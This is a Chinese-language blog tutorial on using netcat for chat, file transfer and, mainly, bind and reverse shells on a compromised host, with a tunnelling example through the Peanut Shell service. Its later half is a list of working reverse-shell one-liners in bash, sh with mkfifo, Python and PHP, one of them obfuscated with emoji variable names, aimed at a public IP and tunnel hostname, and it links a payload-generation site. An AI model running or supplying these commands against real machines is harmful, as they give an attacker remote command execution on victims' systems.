当前位置:网站首页>内网穿透(nc)
内网穿透(nc)
2022-06-29 12:58:00 【肖萧然】
文章目录
内网穿透技术(nc)
Netcat常称为 nc,拥有“瑞士军刀”的美誉。
nc 小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,
能被其它的程序或脚本直接驱动。同时,它又是一个功能丰富的网络调试和开发工具
,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能,
它基于socket协议工作。在渗透测试领域,我们通常利用它来反弹shell
聊天
通过一边监听端口,一边发送消息去该端口,形成一个简易版本的服务端—客户端模型。
- 服务器端:
nc -lvp 8888
监听8888端口 -l 监听 -v 显示详细信息 -p 指定端口
- 客户端:
nc -nv 192.168.100.140 8888
连接到服务器的8888端口 -n指定数字的IP地址 -v显示详细信息

文件传输
- 服务器端:
nc -lvp 8888 < test.txt
监听8888端口 -l 监听 -v 显示详细信息 -p 指定端口
- 客户端:
nc -nvz 192.168.100.140 8888 > 1.txt
连接到服务器的8888端口 -n指定数字的IP地址 -v显示详细信息 -z 将输入输出关掉

正向连接
肉鸡
nc -lvvp 8888 -te cmd.exe
nc -lvvp 8888 -te /bin/bash
肉鸡监听8888端口 -l 监听 -vv 显示更详细信息 -p 指定端口 -t 使用交互方式 -e 程序重定向,一旦连接,就执行
主机
nc -nvv 192.168.10.14 8888
主机连接到肉鸡的8888端口 -n指定数字的IP地址 -vv显示更详细信息


反向连接
当肉鸡处于内网当中,需要主机有一个公网ip,然后让肉鸡主动连接主机,就算肉鸡是公网ip,但一般都是有防火墙拦截,所以反向连接是很好的选择
肉鸡
nc -te /bin/bah 19.16.10.14 8888
主机
nc -lvp 8888
端口映射(花生壳,natapp)
这里就仅使用花生壳做例子…
建立一个tcp的映射

实验环境
肉鸡: 192.168.100.133
本地主机: n4221p5430.wicp.vip(103.46.128.49):25741 -> 127.0.0.1:5555
本地主机中执行:
nc -lvp 5555
肉鸡中执行:
各种payload生成网站
https://s.xiaoxiaoran.top/
echo 'bash -i >& /dev/tcp/103.46.128.49/25741 0>&1' | bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 103.46.128.49 25741 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc n4221p5430.wicp.vip 25741 >/tmp/f
php -r '$="1";$="2";$="3";$="4";$="5";$="6";$="7";$="8";$="9";$="0";$=" ";$="<";$=">";$="-";$="&";$🤩="i";$=".";$🤨="/";$🥰="a";$="b";$="i";$="h";$="c";$="d";$="e";$="f";$="k";$="n";$="o";$="p";$="s";$="x";$ = $. $. $. $. $. $. $. $. $;$ = "103.46.128.49";$ = 25741;$ = "sh". $. $. $🤩. $. $. $. $. $. $. $. $. $. $. $. $. $;$ = $($,$);$ = $. $. $. $;$($);'
php -r '$sock=fsockopen("103.46.128.49",25741);exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("103.46.128.49",25741);passthru("sh <&3 >&3 2>&3");'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("n4221p5430.wicp.vip",25741));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'










边栏推荐
- Appkey when applying for offline packaging of uniapp
- MySQL intercepts the string to remove duplication, and MySQL intercepts the string to remove reassembly
- 打造一个 API 快速开发平台,牛逼!
- Xiaobai learns MySQL - incremental statistical SQL requirements - windowing function scheme
- Why does ETL often become ELT or even let?
- Sixty years of deep learning
- Koa2+better-sqlite3 to add, delete, change and query
- vmware虚拟机的作用
- golang6 反射
- 记一次 .NET 某物管后台服务 卡死分析
猜你喜欢
![[document translation] camouflaged object detection](/img/30/73a927c05173a95cc5a5d51e182e3b.png)
[document translation] camouflaged object detection

Autonomous and controllable city! Release of the first domestic artiq architecture quantum computing measurement and control system

Teach you how to install the latest version of mysql8.0 database on windows, nanny level teaching

手把手教你在windows上安装mysql8.0最新版本数据库,保姆级教学

Detailed explanation of PDB symbol library files
![[untitled] error in installation dependency: refusing to install package with name](/img/53/8c871037b7586343fd509dcecb0d96.png)
[untitled] error in installation dependency: refusing to install package with name "* * *" under a package

WinDbg debugging tool introduction

Uncover the secret! Pay attention to those machines under the membership system!

Equivalence class partition method for test case design method

System.currentTimeMillis() 和 System.nanoTime() 哪个更快?大部分人都会答错!
随机推荐
Uncover the practice of Baidu intelligent test in the field of automatic test execution
投资人跌下神坛:半年0出手,转行送外卖
记一次 .NET 某物管后台服务 卡死分析
打造一个 API 快速开发平台,牛逼!
HTAP X 云原生: TiDB 加速释放数据价值,实现数据敏捷
[high concurrency] cache idea
丢弃 Tkinter!简单配置快速生成超酷炫 GUI!
【系统设计】邻近服务
纳人才,谋发展 | 人大金仓喜获“最佳雇主校招案例奖”
Use Gerrit + Zadig to realize trunk development and trunk publishing (including byte flying Book Practice)
ANSVC无功补偿装置在河北某购物广场中的应用
Interpretation of RESNET source code in mmdet +ghost module
Follow me study hcie big data mining Chapter 1 Introduction to data mining module 2
grep 精确匹配
中康控股开启招股:拟募资净额3.95亿港元,预计7月12日上市
Hardware development notes (VIII): basic process of hardware development, making a USB to RS232 module (VII): creating a basic dip component (crystal oscillator) package and associating the principle
28000 word summary of callable and future interview knowledge points. After reading it, I went directly to ByteDance. Forgive me for being a little floating (Part 2)
How to set the safety line and safety margin for futures trading?
Follow me study hcie big data mining Chapter 1 Introduction to data mining module 1
Equivalence class partition method for test case design method